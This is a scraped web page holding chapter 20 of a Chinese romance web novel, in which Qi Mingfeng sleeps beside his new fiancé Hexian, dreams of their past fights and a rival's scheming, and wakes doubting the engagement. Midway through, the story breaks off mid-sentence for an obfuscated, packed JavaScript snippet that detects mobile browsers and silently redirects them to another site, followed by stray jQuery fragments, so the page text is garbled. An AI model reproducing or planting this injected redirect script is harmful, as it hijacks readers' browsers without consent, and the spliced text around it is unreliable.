默认冷灰
24号文字
方正启体

20. 第 20 章

作者:愿百耳本书字数:K更新时间:
    祁明风快速将这辈子的开心事都想了一遍,还是开心不起来,干脆把自己埋在贺闲肩头掩饰。


    他听到贺闲轻笑,紧靠的胸腔传来震动:“怎么了?”


    他不答,贺闲侧过头含住他耳垂,热气盈满耳廓:“有没有给我准备蛋糕?”


    祁明风本能地抖了下:“你不是不爱吃甜食。”


    贺闲大手来到他腰间:“那吃点别的。”


    祁明风第一次庆幸贺闲想做。


    这样他就可以把事情暂时都忘记,给自己一个缓冲的时间。


    夜色深重,在祁明风坚持下,卧室连小灯都没有开,残月只够给屋内蒙上一层模糊的纱,影影绰绰间晃出碰撞与谁的呼喊。


    贺闲在汗水中抱紧祁明风,今天怀中人异常配合,满足感充斥他身体每一个细胞。


    要和祁明风订婚的事是有点突然,但又不算那么突然。


    最近他越来越感觉祁明风和两年前不一样。


    他知道自己嘴上不饶人,祁明风会和他抬杠,两人打打闹闹总会笑过去,他哪里做得不对,祁明风也会告诉他,跟他交流。


    现在祁明风倒是更加乖顺,交流却是变得很少,虽然他说的话都会得到回应,但还是不一样。


    所以当上次在会所包厢里听到祁明风那句“小情人”时,他生气的同时又隐隐带着点开心。


    祁明风还在为他做的一些事不高兴,还会跟他闹脾气。


    不过那三个字仍会让他骨鲠在喉。


    是觉得没有名分,在自己身边不安心吗?


    那公开又有什么大不了。


    当他意识到自己想要和祁明风定下来时,非但没有烦躁,反而有种“早该如此”的安心感。


    他们订婚后,就没有那么多人觊觎祁明风了。


    他有时候会去祁明风直播间转转,弹幕里除了专业讨论,还有数不清的“老公”、“老婆”。


    祁明风都不在娱乐圈了,直播连脸都没露,他还能看到这些人乱叫。


    如果祁明风带着戒指,情况肯定会好转。


    而且祁明风最近太听话了,不是说听话不好,但总让他觉得哪里不对,可能是上次在包厢被吓到了吧。


    他的人,还是要任性一点。


    比如下次祁明风去接他时,能大摇大摆地晃晃戒指,目空一切:“我是贺闲爱人,来接他回家。”


    贺闲讨厌约束,但想想那个画面,竟然不自觉露出笑来。


    要是知道祁明风答应求婚能带来这么多的快乐,他早就跟祁明风公开了,还能省去后边一堆破事儿,他深觉分开的两年简直是人生中最大浪费。


    祁明风已经累得昏睡过去,他抱着人去洗了个澡,换掉床品重新一起躺回床上,手指不断摩挲着订婚戒指,又牵起祁明风的手,拉到唇边亲了一下。


    时间太短,等他们结婚,他要做一个更好的给祁明风。


    祁明风昏沉间感觉到贺闲的小动作,但他已经没有力气理会。


    杂绪太多,祁明风后半夜做起梦。


    他梦见和贺闲的争吵。


    彼时他和贺闲矛盾升级,通告全部断掉,阮之言趁虚而入,在网上散布虚假消息抹黑他的名声,他不再依靠贺闲的渠道,而是试着自己接通告,都以失败告终。


    周止栖站出来替他说话,反而将他和贺闲的矛盾推到更糟糕的地步。


    贺闲让他保证再也不和周止栖联系,他反问贺闲为什么要求他,阮之言进出他们家的时候,贺闲从来没有考虑过他的感受,而且贺闲还和阮家有婚约,他根本不被阮家承认。


    两人大吵一架,最后还是他低头妥协。


    他知道贺闲就是这么个脾气,可他喜欢贺闲,想要和贺闲过一辈子,总不能一直卡在这件事情上。


    为了缓和关系,他约贺闲一起去旅游,想着换个环境,可以消化连日来的隔阂。


    他们一同前往国外某座小岛,那是他热度最高的时候,哪怕跑到国外,也被人拍到和贺闲在海边的照片并传上网。


    祁明风提出借机公开,贺闲瞥了眼热搜,二话不说就找孟英把一切都处理掉。


    当晚,贺闲接到阮父的电话,称阮之言重病,希望贺闲能回来看看。


    人命大过天,他们只能连夜回国。


    但回国后祁明风才发现,阮之言的和病重扯不上半点关系,多半是看到他和贺闲上了热搜,想破坏他们的度假才装病。


    在拆散他和贺闲这件事上,阮之言向来巧计百出。


    他和贺闲的热搜被撤掉,贺氏当家人探望联姻对象的新闻却短时间内铺天盖地。


    回到家,祁明风把报道推给贺闲,忍不住抱怨:“和我公开那么难,和阮之言倒是简单的很。”


    贺闲因为度假被打断不高兴,正派人给阮家找麻烦,闻言烦躁道:“不公开还不是为了你的工作。”


    祁明风:“我现在还有工作吗?”


    贺闲把手机扔开:“如果不是你跟周止栖联系,就没有这一茬。”


    祁明风也攒着一肚子的火,和贺闲针锋相对:“我和周止栖可没有婚约,单纯是为了爱好才想要合作。”


    “我有婚约的是阮家,你倒是被阮家承认啊,”贺闲怒道,“倒是你,圈子里那么多有能力有名望有水平的你不合作,偏偏是周止栖?”


    祁明风:“你非阮之言不可,我为什么不能非周止栖不可,他好歹是我同门师弟。”


    贺闲捏住他的下巴,满眼阴冷:“只要我在一天,你们就不可能合作。”


    祁明风觉得贺闲不可理喻。


    他虽然是阮家亲生孩子,但阮家父母养了阮之言二十多年,感情自然比他一个突然冒出来的深厚,何况阮之言又在不断挑拨。


    阮家父母不希望他有从前流浪的历史,让他抛弃祁涣,改名换姓才能回归阮家。


    祁明风当然不可能同意,所以一直没有被阮家承认。


    阮家不认他,但他不认为没有阮家的认可就是没有价值,他也不觉得如果没有贺闲,他就没办法凭自己闯出一条路,贺闲凭什么管得这么宽,为什么严重双标。


    缓和关系的计划就此夭折,两人不欢而散。


    恰逢祁涣大学毕业,打算出国深造,虽然祁明风向来报


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261380|198041||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜不报忧,但祁涣还是察觉到他和贺闲的问题,劝说他一起出国。


    同一个晚上,贺闲出去和别人喝酒,心情不好把真心话都讲了出来,被有心人录音。


    他们的感情进一步走向崩塌,摇摇欲坠的堤坝终于被洪水冲毁,再难重建。


    清晨五点半,祁明风在腰酸背痛中醒来。


    强有力的心跳几乎没有阻隔,他依然被贺闲搂在怀里,一抬头就是贺闲紧致的下颌线。


    昨天消耗太多体力,又做了一宿的梦,意识混沌到让人分不清处在梦境还是现实。


    祁明风动了动手指,订婚戒指安静锢在指根,异物感让他生理心理都十分不舒服。


    他尽量轻地挪动贺闲手臂,给自己找一片自由空间,可刚分开拳头那么大的距离时,腰间突然传来一阵力道,猛地把他拉了回去。


    贺闲瞅了眼天色,不满地嘟囔:“怎么早睡晚睡都这个点醒,你睡眠质量是不是有问题,一会儿让医生过来给你看看。”


    祁明风:“不用,我就是有点热。”


    贺闲拿过空调遥控器调低几度:“娇气。”


    祁明风:“……”


    他和贺闲用的是同一本字典吗?


    好在贺闲需要调空调,暂时放开了他,祁明风趁机动了动身体,肌肉过度使用的酸痛让他忍不住“嘶”出声。


    贺闲低笑,手按在他腰间开始搓揉。


    祁明风慌忙按住贺闲,求饶道:“让我歇一歇。”


    贺闲一巴掌把他拍开:“想什么呢,就给你揉揉,你再睡会儿,还有你那破作息赶紧改改,又不是七老八十。”


    贺闲属于高精力人群,工作健身两不误,气血也足,手掌总是偏热一些,揉在腰间其实很舒服。


    以前贺闲也会这样给他揉腰,他则经常在贺闲带来的舒适和安心中沉沉睡去。


    也正是这种舒适和安心,给了他贺闲是爱他的错觉。


    可今时不同往日,祁明风心上压着太多事情,根本睡不着。


    阮之言绝不会就此善罢甘休,祁涣好不容易捡回一条命,那些东西如果爆出来……


    拇指拂过戒指,祁明风不认为贺闲想订婚是因为爱他。


    贺闲百无禁忌,也许根本不懂得婚姻代表着什么,只是想送给他一份昂贵的礼物,哪天不高兴可以随时撤回。


    他看向贺闲。


    贺闲已经重新阖眼,英俊的眉眼在晨光中像一幅画。


    其实贺闲长得很是俊朗,是那种特别有男人味儿的俊朗,可身份赋予的光环和常年积攒的威压会让人忽视他的长相。


    人都是视觉动物,祁明风自然喜欢贺闲的脸,可他更喜欢贺闲带给他的安心。


    虽然他很小就要背负起自己和祁涣的生活,却也没有软弱到憎恨命运,只是因为没有家庭,他缺少很多引导,贺闲的出现弥补了这个空缺。


    贺闲会告诉他很多事该怎么做更好,在给他指明道路的同时给他兜底,让他放心去闯,继续向上。


    可他已经无法从贺闲身上感到安心了。


    贺闲会给他很多,也会随时夺走更多。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)